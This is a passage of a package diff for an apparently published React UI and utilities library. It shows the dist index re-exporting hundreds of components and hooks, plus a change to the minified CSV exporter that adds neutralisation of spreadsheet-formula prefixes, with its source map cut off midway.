import { DEFAULT_CHUNK_SIZE as Na, ResumableUploadSupersededError as Pa, createLocalUploadStorage as Fa, createResumableUpload as Ia, uploadFingerprint as La } from "./http/resumable-upload.js";
|
|
255
|
+
import { usePoll as Ra } from "./http/use-poll.js";
|
|
256
|
+
import { createAuthStore as za } from "./auth/create-auth-store.js";
|
|
257
|
+
import { AuthGuard as Ba } from "./auth/AuthGuard.js";
|
|
258
|
+
import { decodeJWT as Va, isJWTExpired as Ha } from "./auth/jwt.js";
|
|
259
|
+
import { lazyWithRetry as Ua } from "./auth/lazy-with-retry.js";
|
|
260
|
+
import { createRefreshQueue as Wa } from "./auth/refresh-queue.js";
|
|
261
|
+
import { DEFAULT_PUB_KEY_CRED_PARAMS as Ga, PasskeyError as Ka, base64UrlToBytes as qa, bytesToBase64Url as Ja, classifyPasskeyError as Ya, createPasskeyClient as Xa, isConditionalMediationAvailable as Za, isPasskeySupported as Qa, isPlatformAuthenticatorAvailable as $a } from "./auth/passkey.js";
|
|
262
|
+
import { usePasskeyCapabilities as eo, usePasskeyRegistration as to, usePasskeySignIn as no } from "./auth/use-passkey.js";
|
|
263
|
+
import { createTempestAuth as ro } from "./auth/create-tempest-auth.js";
|
|
264
|
+
import { AccessControlProvider as io, useAccessControl as ao } from "./access/access-control-context.js";
|
|
265
|
+
import { useCan as oo } from "./access/use-can.js";
|
|
266
|
+
import { Can as so } from "./access/Can.js";
|
|
267
|
+
import { createRoleAccessControl as co } from "./access/create-role-access-control.js";
|
|
268
|
+
import { permissionsFromToken as lo } from "./access/permissions-from-token.js";
|
|
269
|
+
import { GoogleSignIn as uo } from "./oauth/GoogleSignIn.js";
|
|
270
|
+
import { useOAuthCallback as fo } from "./oauth/use-oauth-callback.js";
|
|
271
|
+
import { OAuthCallbackError as po, exchangeOAuthCallback as mo, readOAuthCallbackParams as ho } from "./oauth/callback.js";
|
|
272
|
+
import { CACHE_TIME as go, REFETCH_TIME as _o, STALE_TIME as vo } from "./query/constants.js";
|
|
273
|
+
import { createQueryKeys as yo } from "./query/create-query-keys.js";
|
|
274
|
+
import { shouldRetryQuery as bo } from "./query/retry-policy.js";
|
|
275
|
+
import { QueryProvider as xo } from "./query/QueryProvider.js";
|
|
276
|
+
import { emptyOffsetPage as So, isCursorPage as Co, isOffsetPage as wo } from "./query/pagination.js";
|
|
277
|
+
import { usePaginatedQuery as To } from "./query/use-paginated-query.js";
|
|
278
|
+
import { useCursorQuery as Eo } from "./query/use-cursor-query.js";
|
|
279
|
+
import { useOfflineMutation as Do } from "./query/use-offline-mutation.js";
|
|
280
|
+
import { removeById as Oo, upsertById as ko } from "./query/optimistic.js";
|
|
281
|
+
import { createOfflineStore as Ao } from "./offline/create-offline-store.js";
|
|
282
|
+
import { persistQueryClientOffline as jo } from "./query/offline-persistence.js";
|
|
283
|
+
import { createDataProvider as Mo, encodeIdSegment as No } from "./data/create-data-provider.js";
|
|
284
|
+
import { TempestDataProvider as Po, useDataProvider as Fo } from "./data/data-provider-context.js";
|
|
285
|
+
import { listQueryKey as Io, oneQueryKey as Lo, useCreate as Ro, useDelete as zo, useList as Bo, useOne as Vo, useUpdate as Ho } from "./data/use-resource.js";
|
|
286
|
+
import { RouteGuard as Uo } from "./router/RouteGuard.js";
|
|
287
|
+
import { AppRouter as Wo, defineRoutes as Go } from "./router/AppRouter.js";
|
|
288
|
+
import { BrowserRouter as Ko, HashRouter as qo, Link as Jo, MemoryRouter as Yo, NavLink as Xo, Navigate as Zo, Outlet as Qo, Route as $o, Routes as es, redirect as ts, useLocation as ns, useMatch as rs, useNavigate as is, useParams as as, useRouteError as os, useSearchParams as ss } from "./router/index.js";
|
|
289
|
+
import { createStore as cs } from "./store/create-store.js";
|
|
290
|
+
import { createSelectors as ls } from "./store/create-selectors.js";
|
|
291
|
+
import { ThemeProvider as us, useTheme as ds } from "./theme/ThemeProvider.js";
|
|
292
|
+
import { ErrorBoundary as fs } from "./error-boundary/ErrorBoundary.js";
|
|
293
|
+
import { AppProviders as ps } from "./app/AppProviders.js";
|
|
294
|
+
import { createEventStream as ms } from "./sse/create-event-stream.js";
|
|
295
|
+
import { useEventStream as hs } from "./sse/use-event-stream.js";
|
|
296
|
+
import { isPushSupported as gs, urlBase64ToUint8Array as _s } from "./push/utils.js";
|
|
297
|
+
import { WebPushClient as vs, WebPushPermissionDeniedError as ys, WebPushUnsubscribeError as bs, WebPushUnsupportedError as xs } from "./push/web-push-client.js";
|
|
298
|
+
import { usePushSubscription as Ss } from "./push/use-push-subscription.js";
|
|
299
|
+
import { installNotificationClickHandler as Cs, installPushHandler as ws, installSkipWaitingListener as Ts } from "./sw/create-push-handler.js";
|
|
300
|
+
import { DEFAULT_CREDENTIAL_HEADERS as Es } from "./sw/credential-headers.js";
|
|
301
|
+
import { createPartialResponse as Ds, installPrecache as Os, installRuntimeCache as ks } from "./sw/cache.js";
|
|
302
|
+
import { BACKGROUND_SYNC_CREDENTIALS_MESSAGE as As, clearBackgroundSyncQueue as js, installBackgroundSync as Ms, provideBackgroundSyncCredentials as Ns } from "./sw/background-sync.js";
|
|
303
|
+
import { registerPeriodicSync as Ps } from "./sw/periodic-sync.js";
|
|
304
|
+
import { clearCaches as Fs, inspectCaches as Is } from "./sw/cache-inspect.js";
|
|
305
|
+
import { clearSessionData as Ls } from "./sw/session-data.js";
|
|
306
|
+
import { createAudioPlayer as Rs, playAudio as zs, stopAudio as Bs } from "./audio/audio-player.js";
|
|
307
|
+
import { useAudio as Vs } from "./audio/use-audio.js";
|
|
308
|
+
import { createSfxPool as Hs } from "./audio/sfx-pool.js";
|
|
309
|
+
import { useSfxPool as Us } from "./audio/use-sfx-pool.js";
|
|
310
|
+
import { DEFAULT_MAX_GAIN as Ws, createAudioBus as Gs } from "./audio/audio-bus.js";
|
|
311
|
+
import { useAudioBus as Ks } from "./audio/use-audio-bus.js";
|
|
312
|
+
import { DEFAULT_VOICE_CHAIN as qs, createVoiceChain as Js, isVoiceChainIdle as Ys, monitorVoiceChain as Xs } from "./audio/voice-chain.js";
|
|
313
|
+
import { measureNoiseFloor as Zs, suggestGateThreshold as Qs } from "./audio/noise-floor.js";
|
|
314
|
+
import { monitorVoiceActivity as $s } from "./audio/voice-activity.js";
|
|
315
|
+
import { createVideoRecorder as ec, isVideoRecordingSupported as tc, pickVideoMimeType as nc } from "./capture/video-recorder.js";
|
|
316
|
+
import { useVideoRecorder as rc } from "./capture/use-video-recorder.js";
|
|
317
|
+
import { isScreenCaptureSupported as ic, useScreenCapture as ac } from "./capture/use-screen-capture.js";
|
|
318
|
+
import { isSpeechRecognitionSupported as oc, useSpeechRecognition as sc } from "./capture/use-speech-recognition.js";
|
|
319
|
+
import { createOfflineDatabase as cc } from "./offline/create-offline-database.js";
|
|
320
|
+
import { createOfflineSync as lc } from "./offline/create-offline-sync.js";
|
|
321
|
+
import { higherVersionWins as uc, lastWriteWins as dc } from "./offline/conflict.js";
|
|
322
|
+
import { useErrorHandler as fc } from "./error-boundary/use-error-handler.js";
|
|
323
|
+
import { FormField as pc } from "./forms/FormField.js";
|
|
324
|
+
import { validateForm as mc } from "./forms/validate-form.js";
|
|
325
|
+
import { zodResolver as hc } from "./forms/zod-resolver.js";
|
|
326
|
+
import { useZodForm as gc } from "./forms/use-zod-form.js";
|
|
327
|
+
import { formatCEP as _c, formatCNPJ as vc, unmask as yc, validateCNPJ as bc, validateCPF as xc } from "./forms/br-validators.js";
|
|
328
|
+
import { CEPInput as Sc, CNPJInput as Cc, CPFInput as wc, MoneyInput as Tc, PhoneInput as Ec } from "./forms/masked-inputs.js";
|
|
329
|
+
import { useViaCEP as Dc } from "./forms/use-viacep.js";
|
|
330
|
+
import { Controller as Oc, FormProvider as kc, useFieldArray as Ac, useForm as jc, useFormContext as Mc, useFormState as Nc, useWatch as Pc } from "./forms/index.js";
|
|
331
|
+
import { HEARTBEAT_CLOSE_CODE as Fc, isRejectionCloseCode as Ic } from "./ws/resilience.js";
|
|
332
|
+
import { createWebSocket as Lc } from "./ws/create-web-socket.js";
|
|
333
|
+
import { useWebSocket as Rc } from "./ws/use-web-socket.js";
|
|
334
|
+
import { setTunedLocalDescription as zc, tuneOpus as Bc } from "./webrtc/opus-sdp.js";
|
|
335
|
+
import { setSenderBitrate as Vc } from "./webrtc/sender-bitrate.js";
|
|
336
|
+
import { createLinkStatsSampler as Hc, readAvailableOutgoingKbps as Uc, readQualityLimitation as Wc, readRelayed as Gc, readRoundTripMs as Kc } from "./webrtc/link-stats.js";
|
|
337
|
+
import { useLinkStats as qc } from "./webrtc/use-link-stats.js";
|
|
338
|
+
import { resolveDegradation as Jc, scaleForRoom as Yc } from "./webrtc/mesh-quality.js";
|
|
339
|
+
import { createPeerMesh as Xc } from "./webrtc/peer-mesh.js";
|
|
340
|
+
import { clampLatitude as Zc, isCoordinate as Qc, isValidLatitude as $c, isValidLongitude as el, normalizeLongitude as tl } from "./geo/types.js";
|
|
341
|
+
import { EARTH_RADIUS_KM as nl, bearingDeg as rl, haversineKm as il, pathLengthKm as al, toRadians as ol } from "./geo/distance.js";
|
|
342
|
+
import { DEFAULT_CAR_SPEED_KMH as sl, DEFAULT_CIRCUITY_FACTOR as cl, DEFAULT_MODE_DURATION_FACTORS as ll, estimateTravel as ul } from "./geo/estimate.js";
|
|
343
|
+
import { boundingBox as dl, boundsCenter as fl, expandBounds as pl } from "./geo/bounds.js";
|
|
344
|
+
import { fitProjection as ml, projectMercator as hl, unprojectMercator as gl } from "./geo/projection.js";
|
|
345
|
+
import { createOSRMBackend as _l } from "./geo/routing.js";
|
|
346
|
+
import { createPositionTracker as vl } from "./geo/create-position-tracker.js";
|
|
347
|
+
import { usePositionTracker as yl } from "./geo/use-position-tracker.js";
|
|
348
|
+
import { TrajectoryMap as bl } from "./geo/TrajectoryMap.js";
|
|
349
|
+
import { applyTheme as xl, readThemeToken as Sl } from "./theme/apply-theme.js";
|
|
350
|
+
import { contrastRatio as Cl, createColorScale as wl, hexToOklch as Tl, hexToRgb as El, hexToRgbaString as Dl, oklchToHex as Ol, readableForeground as kl, relativeLuminance as Al, rgbToHex as jl } from "./theme/color.js";
|
|
351
|
+
import { createTheme as Ml, themeContrast as Nl } from "./theme/create-theme.js";
|
|
352
|
+
import { createInverseSurface as Pl } from "./theme/inverse-surface.js";
|
|
353
|
+
import { getThemePreset as Fl, themePresets as Il } from "./theme/theme-presets.js";
|
|
354
|
+
import { getInitialTheme as Ll, themeInitScript as Rl } from "./theme/initial-theme.js";
|
|
355
|
+
import { consoleSink as zl, createLogger as Bl } from "./logger/logger.js";
|
|
356
|
+
import { TelemetryProvider as Vl, useTelemetry as Hl } from "./telemetry/TelemetryProvider.js";
|
|
357
|
+
import { consoleTelemetryAdapter as Ul } from "./telemetry/console-adapter.js";
|
|
358
|
+
import { createSentryTelemetryAdapter as Wl } from "./telemetry/sentry-adapter.js";
|
|
359
|
+
import { createPostHogTelemetryAdapter as Gl } from "./telemetry/posthog-adapter.js";
|
|
360
|
+
import { describeAppError as Kl } from "./telemetry/describe-app-error.js";
|
|
361
|
+
import { createAppErrorReporter as ql } from "./telemetry/app-error-reporter.js";
|
|
362
|
+
import { createAppErrorTelemetryAdapter as Jl } from "./telemetry/app-error-adapter.js";
|
|
363
|
+
import { FeatureFlagsProvider as Yl, useFeatureFlag as Xl, useFlagValue as Zl } from "./feature-flags/FeatureFlagsProvider.js";
|
|
364
|
+
import { createInMemoryFlags as Ql } from "./feature-flags/in-memory-adapter.js";
|
|
365
|
+
import { createGrowthBookFeatureFlagsAdapter as $l } from "./feature-flags/growthbook-adapter.js";
|
|
366
|
+
import { createLaunchDarklyFeatureFlagsAdapter as eu } from "./feature-flags/launchdarkly-adapter.js";
|
|
367
|
+
import { DIVERGING_STEP_COUNT as tu, ORDINAL_START_STEP as nu, SEQUENTIAL_STEP_COUNT as ru, divergingScale as iu, scaleSteps as au, sequentialScale as ou } from "./charts/scales.js";
|
|
368
|
+
import { cachedResponseBytes as su } from "./perf/cache-size.js";
|
|
369
|
+
import { readDeviceProfile as cu } from "./perf/device.js";
|
|
370
|
+
import { formatDurationMs as lu } from "./perf/format.js";
|
|
371
|
+
import { createInferenceProfiler as uu } from "./perf/profiler.js";
|
|
372
|
+
export { Qt as ABSENT_TEXT, ri as AIChat, Zr as AIChatComposer, ni as AIChatTurn, Fr as ALL_BARCODE_FORMATS, Vt as ALL_OPTION_VALUE, ba as API_ERROR_OFFLINE_KEY, xa as API_ERROR_VALIDATION_KEY, wr as AUDIO_MIME_CANDIDATES, io as AccessControlProvider, t as Accordion, n as Alert, i as AppBar, ps as AppProviders, Wo as AppRouter, s as AppShell, c as AspectRatio, Sr as AudioPlayer, Pr as AudioRecorder, Ba as AuthGuard, l as Avatar, u as AvatarGroup, As as BACKGROUND_SYNC_CREDENTIALS_MESSAGE, a as BREAKPOINTS, d as Badge, f as Banner, ci as BarList, Ur as BarcodeScanner, p as BottomNavigation, h as BottomSheet, g as Breadcrumbs, Ko as BrowserRouter, _ as Button, v as ButtonSlot, go as CACHE_TIME, Sc as CEPInput, Cc as CNPJInput, wc as CPFInput, $n as Calendar, so as Can, y as Card, ar as Carousel, b as Center, yr as Chat, _r as ChatBubble, vr as ChatComposer, x as Checkbox, S as ChipInput, In as ClickOutside, An as CodeBlock, qn as Collapsible, w as Combobox, Xn as Command, Ln as ConditionalWrapper, E as ConfirmDialog, B as Container, Jn as ContextMenu, Oc as Controller, kn as CopyButton, Sa as DEFAULT_API_ERROR_STRINGS, Ir as DEFAULT_BARCODE_FORMATS, sl as DEFAULT_CAR_SPEED_KMH, Na as DEFAULT_CHUNK_SIZE, cl as DEFAULT_CIRCUITY_FACTOR, Es as DEFAULT_CREDENTIAL_HEADERS, da as DEFAULT_CSRF_COOKIE_NAME, fa as DEFAULT_CSRF_HEADER_NAME, Ws as DEFAULT_MAX_GAIN, ll as DEFAULT_MODE_DURATION_FACTORS, bn as DEFAULT_PLAYBACK_RATES, Ga as DEFAULT_PUB_KEY_CRED_PARAMS, ye as DEFAULT_PUSH_TO_TALK_KEY, qs as DEFAULT_VOICE_CHAIN, tu as DIVERGING_STEP_COUNT, Vn as DataList, or as DataTable, O as DatePicker, nr as DateRangePicker, Hn as DescriptionList, k as Divider, A as Drawer, j as DropdownMenu, M as Dropzone, nl as EARTH_RADIUS_KM, N as EmptyState, fs as ErrorBoundary, P as ErrorState, zn as ErrorText, Yl as FeatureFlagsProvider, F as FileUpload, pi as FilterBar, wi as FilterPanel, cr as FloatingActionButton, Rn as For, I as Form, L as FormActions, pc as FormField, kc as FormProvider, R as FormRow, z as FormSection, uo as GoogleSignIn, V as Grid, Fc as HEARTBEAT_CLOSE_CODE, qo as HashRouter, Ft as Hide, Yn as HoverCard, Ta as I18nProvider, Bn as Image, mn as ImageCropper, D as Input, X as InstallBanner, Z as InstallButton, mt as Kanban, gt as Kbd, Kn as Label, pr as Lightbox, Jo as Link, sr as ListTile, ti as Markdown, ai as Masonry, Yo as MemoryRouter, ir as Menubar, T as Modal, _t as ModalsProvider, Mn as Money, Tc as MoneyInput, tr as MultiSelect, bt as NProgressBar, Xo as NavLink, yt as Navbar, Zo as Navigate, rr as NavigationMenu, lr as NavigationRail, vn as NotificationCenter, po as OAuthCallbackError, nu as ORDINAL_START_STEP, ct as OfflineIndicator, Qo as Outlet, be as PUSH_TO_TALK_KEYS, wt as Page, Tt as Pagination, Ka as PasskeyError, Et as PasswordInput, Ec as PhoneInput, Ot as PinInput, kt as Popover, C as Portal, At as Progress, Tn as QRCapacityError, On as QRCode, xo as QueryProvider, _o as REFETCH_TIME, jt as Radio, Mt as RadioGroup, Nt as RangeSlider, Pt as RatingStars, dr as RefreshIndicator, jn as RelativeTime, Qn as Resizable, Pa as ResumableUploadSupersededError, Fn as Reveal, $o as Route, Uo as RouteGuard, es as Routes, ru as SEQUENTIAL_STEP_COUNT, vo as STALE_TIME, Lt as SafeArea, gn as Scheduler, Zn as ScrollArea, Rt as SearchBar, St as Section, Ct as SectionHeader, zt as SegmentedControl, Bt as Select, ma as SessionSupersededError, It as Show, Kt as Sidebar, mr as SignaturePad, qt as Skeleton, er as Slider, Jt as Spacer, hn as Sparkline, Yt as Spinner, H as Stack, Xt as Stat, Zt as Stepper, rn as StepperInput, an as Switch, ft as SyncStatusBadge, sn as Table, cn as Tabs, on as Tag, Vl as TelemetryProvider, ha as TempestApiError, Po as TempestDataProvider, ln as Textarea, us as ThemeProvider, ur as TimePicker, un as Timeline, fn as ToastProvider, Un as Toggle, Wn as ToggleGroup, Gn as ToggleGroupItem, dn as Tooltip, oi as Tour, bl as TrajectoryMap, ii as Transfer, Nn as TreeView, Pn as TruncateText, pt as UpdatePrompt, xn as VideoPlayer, Sn as VirtualList, wn as VirtualTable, dt as VisuallyHidden, vs as WebPushClient, ys as WebPushPermissionDeniedError, bs as WebPushUnsubscribeError, xs as WebPushUnsupportedError, fr as Wizard, Gt as activeNavKey, Wr as aiChatStrings, Te as announce, Si as applyFilters, ht as applyKanbanMove, xl as applyTheme, Gi as assertNever, qa as base64UrlToBytes, rl as bearingDeg, Mr as blobToWav, dl as boundingBox, fl as boundsCenter, la as buildApiUrl, si as buildBarListRows, U as buildOpenInChromeIntent, Ja as bytesToBase64Url, su as cachedResponseBytes, ji as camelCase, Mi as capitalize, Li as chunk, $t as clamp, Zc as clampLatitude, Ya as classifyPasskeyError, Ee as clearAnnouncer, js as clearBackgroundSyncQueue, Fs as clearCaches, Ls as clearSessionData, e as cn, Cn as compareValues, Di as compressToString, Oi as compressedStorage, ki as compressedStorageCodec, zl as consoleSink, Ul as consoleTelemetryAdapter, Cl as contrastRatio, ya as createApiClient, ql as createAppErrorReporter, Jl as createAppErrorTelemetryAdapter, Gs as createAudioBus, Rs as createAudioPlayer, Tr as createAudioRecorder, za as createAuthStore, Lr as createBarcodeDetector, wl as createColorScale, Mo as createDataProvider, ms as createEventStream, $l as createGrowthBookFeatureFlagsAdapter, wa as createI18n, Ql as createInMemoryFlags, uu as createInferenceProfiler, Pl as createInverseSurface, Ti as createJsonStorage, eu as createLaunchDarklyFeatureFlagsAdapter, Or as createLevelMeter, Hc as createLinkStatsSampler, Fa as createLocalUploadStorage, Bl as createLogger, Cr as createMediaRecorder, _l as createOSRMBackend, cc as createOfflineDatabase, Ao as createOfflineStore, lc as createOfflineSync, Ds as createPartialResponse, Xa as createPasskeyClient, Xc as createPeerMesh, vl as createPositionTracker, Gl as createPostHogTelemetryAdapter, yo as createQueryKeys, Wa as createRefreshQueue, Ia as createResumableUpload, co as createRoleAccessControl, ls as createSelectors, Wl as createSentryTelemetryAdapter, Hs as createSfxPool, cs as createStore, ro as createTempestAuth, Ml as createTheme, ec as createVideoRecorder, Js as createVoiceChain, Lc as createWebSocket, pa as csrfHeaders, Xi as debounce, Va as decodeJWT, Ai as decompressFromString, Vi as deepMerge, Y as defaultInstallHint, Go as defineRoutes, Ca as describeApiError, Kl as describeAppError, li as describeFilter, iu as divergingScale, sa as downloadCsv, So as emptyOffsetPage, No as encodeIdSegment, En as encodeQR, Nr as encodeWav, Dt as estimatePasswordStrength, et as estimateStorage, ul as estimateTravel, mo as exchangeOAuthCallback, pl as expandBounds, ui as filtersFromSearchParams, Ci as filtersToQueryParams, di as filtersToSearchParams, ml as fitProjection, en as formatBytes, _c as formatCEP, vc as formatCNPJ, mi as formatCPF, tn as formatCompactNumber, hi as formatCurrency, gi as formatDate, _i as formatDateForInput, vi as formatDateTime, yi as formatDateTimeForInput, lu as formatDurationMs, bi as formatPercent, xi as formatPhone, Ma as generateIdempotencyKey, Ll as getInitialTheme, Rr as getSupportedBarcodeFormats, Fl as getThemePreset, Ri as groupBy, il as haversineKm, Tl as hexToOklch, El as hexToRgb, Dl as hexToRgbaString, uc as higherVersionWins, Is as inspectCaches, Ms as installBackgroundSync, Cs as installNotificationClickHandler, Os as installPrecache, ws as installPushHandler, ks as installRuntimeCache, Ts as installSkipWaitingListener, W as isAndroid, G as isAndroidWithoutPromptApi, ga as isApiError, br as isAudioOutputSelectionSupported, Er as isAudioRecordingSupported, zr as isBarcodeDetectionSupported, Za as isConditionalMediationAvailable, Qc as isCoordinate, Co as isCursorPage, Ki as isDefined, Hi as isEmpty, _e as isFullscreenSupported, Gr as isGenerating, K as isIOS, Ha as isJWTExpired, Ar as isMediaCaptureSupported, qi as isNumber, wo as isOffsetPage, Qa as isPasskeySupported, Ji as isPlainObject, $a as isPlatformAuthenticatorAvailable, gs as isPushSupported, Ic as isRejectionCloseCode, _a as isRetriableStatus, ic as isScreenCaptureSupported, ia as isShareSupported, oc as isSpeechRecognitionSupported, q as isStandalone, Yi as isString, ua as isTrustedCredentialTarget, $c as isValidLatitude, el as isValidLongitude, tc as isVideoRecordingSupported, Ys as isVoiceChainIdle, Ni as kebabCase, Kr as lastAssistantId, dc as lastWriteWins, Ua as lazyWithRetry, Io as listQueryKey, Dn as matrixToPath, Zs as measureNoiseFloor, Zi as memoizeOne, $s as monitorVoiceActivity, Xs as monitorVoiceChain, rt as moveItem, Br as normalizeBarcode, tl as normalizeLongitude, xt as nprogress, Ol as oklchToHex, Ui as omit, Qi as once, Lo as oneQueryKey, fi as operatorsFor, Aa as parseResponse, al as pathLengthKm, nn as percentOf, lo as permissionsFromToken, jo as persistQueryClientOffline, Wi as pick, Dr as pickAudioMimeType, nc as pickVideoMimeType, zs as playAudio, Pi as pluralize, hl as projectMercator, Ns as provideBackgroundSyncCredentials, xe as pushToTalkKeyLabel, na as randomId, zi as range, Uc as readAvailableOutgoingKbps, cu as readDeviceProfile, ho as readOAuthCallbackParams, Wc as readQualityLimitation, Gc as readRelayed, Kc as readRoundTripMs, Sl as readThemeToken, kl as readableForeground, hr as receiptLabel, ts as redirect, Ps as registerPeriodicSync, Xe as registerServiceWorker, Al as relativeLuminance, _n as relativeTime, Oo as removeById, tt as requestPersistentStorage, Jc as resolveDegradation, gr as resolveReceiptState, va as retry, jl as rgbToHex, qr as roleLabel, Qr as safeAttachmentUrl, $r as safeImageUrl, ei as safeLinkUrl, Yc as scaleForRoom, au as scaleSteps, ou as sequentialScale, xr as setAudioOutput, r as setDevBuild, Vc as setSenderBitrate, zc as setTunedLocalDescription, aa as share, oa as shareOrDownloadBlob, bo as shouldRetryQuery, Ze as skipWaiting, ea as sleep, Fi as slugify, Bs as stopAudio, Ei as storage, Qs as suggestGateThreshold, Jr as tailSignature, Nl as themeContrast, Rl as themeInitScript, Il as themePresets, $i as throttle, ca as toCsv, Ht as toOptions, ol as toRadians, Ii as truncate, Bc as tuneOpus, Yr as turnTime, Bi as uniqueBy, yc as unmask, gl as unprojectMercator, Qe as unregisterAllServiceWorkers, La as uploadFingerprint, ja as uploadWithProgress, ko as upsertById, _s as urlBase64ToUint8Array, ao as useAccessControl, De as useAnnounce, ce as useAsync, Vs as useAudio, Ks as useAudioBus, kr as useAudioRecorder, Hr as useBarcodeScanner, he as useBeforeInstallPrompt, o as useBreakpoint, oo as useCan, Ke as useClickOutside, ee as useClientFilter, pe as useClipboard, ze as useCountdown, Re as useCounter, Ro as useCreate, Eo as useCursorQuery, Fo as useDataProvider, Q as useDebounce, te as useDeepMemo, zo as useDelete, ka as useDescribeApiError, Ie as useDisclosure, Ve as useDocumentTitle, ue as useDocumentVisibility, re as useDraftFilters, fc as useErrorHandler, ae as useEventListener, hs as useEventStream, He as useFavicon, Xl as useFeatureFlag, Ac as useFieldArray, Zl as useFlagValue, m as useFocusTrap, jc as useForm, Mc as useFormContext, Nc as useFormState, ve as useFullscreen, Ce as useGeolocation, Pe as useHover, Ea as useI18n, ge as useIdle, J as useInstallPrompt, de as useIntersectionObserver, Ae as useInterval, qe as useIsFirstRender, me as useKeyboardShortcut, ne as useLatestRef, qc as useLinkStats, Bo as useList, Le as useListState, oe as useLocalStorage, ns as useLocation, Fe as useLongPress, Ye as useLongPressHandlers, Ue as useMap, rs as useMatch, st as useMediaDevices, ot as useMediaPermission, ie as useMediaQuery, jr as useMicrophone, vt as useModals, is as useNavigate, yn as useNotificationInbox, fo as useOAuthCallback, Je as useObjectUrl, Do as useOfflineMutation, lt as useOfflineSync, Vo as useOne, le as useOnline, Da as useOptionalI18n, To as usePaginatedQuery, $ as usePagination, as as useParams, eo as usePasskeyCapabilities, to as usePasskeyRegistration, no as usePasskeySignIn, Ra as usePoll, yl as usePositionTracker, ke as usePrevious, Ss as usePushSubscription, Se as usePushToTalk, Ge as useQueue, fe as useResizeObserver, os as useRouteError, ac as useScreenCapture, we as useScrollLock, at as useScrollOverflow, ss as useSearchParams, $e as useServiceWorkerUpdate, We as useSet, Us as useSfxPool, it as useSortable, sc as useSpeechRecognition, Oe as useStableCallback, nt as useStorageEstimate, ut as useSyncStatus, Hl as useTelemetry, ds as useTheme, Me as useThrottle, je as useTimeout, pn as useToast, se as useToggle, Vr as useTorch, Oa as useTranslate, Be as useTypewriter, Ho as useUpdate, Dc as useViaCEP, rc as useVideoRecorder, Pc as useWatch, Rc as useWebSocket, Ne as useWindowSize, gc as useZodForm, bc as validateCNPJ, xc as validateCPF, mc as validateForm, Xr as visibleTurns, Ut as withAllOption, Wt as withEmptyOption, ta as withTimeout, ra as writeXlsx, hc as zodResolver };
|
package/dist/utils/csv.cjs
CHANGED
|
@@ -1,4 +1,4 @@
|
|
|
1
|
-
const e=require("../share/share-or-download.cjs");var t=`
|
|
2
|
-
`)||e.includes(`\r`)?`"${e.replaceAll(`"`,`""`)}"`:e}function
|
|
3
|
-
`)}`}async function
|
|
1
|
+
const e=require("../share/share-or-download.cjs");var t=``,n=/^[=+\-@\t\r]/,r=/^[+-]?(?:\d+(?:[.,]\d+)*|\d*[.,]\d+)(?:e[+-]?\d+)?$/i;function i(e){return e===`-`||r.test(e)?e:n.test(e)?`'${e}`:e}var a=/[,;\t]/;function o(e,t,n){return e.includes(t)||n&&a.test(e)&&!r.test(e)||e.includes(`"`)||e.includes(`
|
|
2
|
+
`)||e.includes(`\r`)?`"${e.replaceAll(`"`,`""`)}"`:e}function s(e,t){return e==null?``:typeof e==`number`||typeof e==`bigint`||typeof e==`boolean`?String(e):e instanceof Date?e.toISOString():t?i(String(e)):String(e)}function c(e,n,r={}){let{delimiter:i=`,`,bom:a=!0,neutralizeFormulas:c=!0}=r,l=[n.map(e=>o(s(e.header,c),i,c)).join(i)];for(let t of e){let e=n.map(e=>o(s(e.csv?e.csv(t):t[e.key],c),i,c));l.push(e.join(i))}return`${a?t:``}${l.join(`\r
|
|
3
|
+
`)}`}async function l(t,n,r=`export.csv`,i={}){let a=new Blob([c(t,n,i)],{type:`text/csv;charset=utf-8`});await e.shareOrDownloadBlob(a,r)}exports.downloadCsv=l,exports.toCsv=c;
|
|
4
4
|
//# sourceMappingURL=csv.cjs.map
|
package/dist/utils/csv.cjs.map
CHANGED
|
@@ -1 +1 @@
|
|
|
1
|
-
{"version":3,"file":"csv.cjs","names":[],"sources":["../../src/utils/csv.ts"],"sourcesContent":["/**\n * @tempest-limits param-count — `downloadCsv(rows, columns, \"usuarios.csv\")` reads\n * in the order the sentence does, and its two trailing parameters have defaults,\n * so the common call passes three. Wrapping them in an object would break every\n * caller of a published export for no gain in what the call site says.\n */\n// CSV that survives contact with real data. Every app writes this by hand and\n// every hand-written version gets the same two things wrong: a value containing\n// the delimiter splits the row, and a value containing a quote breaks the quoting\n// it was supposed to be protected by. Both are one-liners in RFC 4180 and neither\n// is obvious until a customer's name has a comma in it.\n\nimport { shareOrDownloadBlob } from \"../share/share-or-download\";\n\n/**\n * Byte order mark, as the character `String.prototype` sees it.\n *\n * Excel on a pt-BR install reads a BOM-less UTF-8 file as Latin-1 and turns\n * every accented name into mojibake. It is three bytes to avoid a support\n * ticket, so it is on by default.\n */\nconst BOM = \"\\uFEFF\";\n\n/** One column of the exported file. */\nexport interface CsvColumn<T> {\n /** Property of the row this column reads from. Doubles as the column key. */\n key: keyof T;\n /** Column heading, written to the first line. */\n header: string;\n /**\n * Value for the file. Defaults to `String(row[key])`, with nullish becoming an\n * empty field.\n *\n * A `DataTableColumn` renders cells to `ReactNode`, which cannot be written to\n * a text file — a badge or a link would serialize as `[object Object]`. Give\n * the column this accessor and the export says what the badge said.\n */\n csv?: (row: T) => string | number | boolean | null | undefined;\n}\n\n/** Options for {@link toCsv}. */\nexport interface CsvOptions {\n /**\n * Field separator. Default `\",\"`.\n *\n * Use `\";\"` for Excel on a locale whose decimal separator is the comma —\n * which is every pt-BR install — otherwise it opens the file in one column.\n */\n delimiter?: \",\" | \";\";\n /** Prefix the output with a UTF-8 BOM. Default `true`. */\n bom?: boolean;\n}\n\n/**\n * Quote one field per RFC 4180.\n *\n * A field is quoted when it contains the delimiter, a double quote, or a line\n * break; inside a quoted field, each double quote is doubled. Fields that need\n * none of this are written bare, which keeps the common file readable.\n *\n * @param value - The already-stringified field.\n * @param delimiter - The separator in use, which decides part of the quoting.\n * @returns The field, quoted if it has to be.\n */\nfunction escapeField(value: string, delimiter: string): string {\n const mustQuote =\n value.includes(delimiter) ||\n value.includes('\"') ||\n value.includes(\"\\n\") ||\n value.includes(\"\\r\");\n if (!mustQuote) return value;\n return `\"${value.replaceAll('\"', '\"\"')}\"`;\n}\n\n/**\n * Stringify one cell, keeping the difference between \"no value\" and \"zero\".\n *\n * `null` and `undefined` become an empty field; `0` and `false` are values\n * somebody chose and are written out. Getting this backwards is how an export\n * ends up under-reporting every row that legitimately holds a zero.\n *\n * @param value - The raw cell value.\n * @returns The text to write.\n */\nfunction cellText(value: unknown): string {\n if (value === null || value === undefined) return \"\";\n if (value instanceof Date) return value.toISOString();\n return String(value);\n}\n\n/**\n * Serialize rows to CSV text, RFC 4180 style.\n *\n * Rows are separated by `\\r\\n` 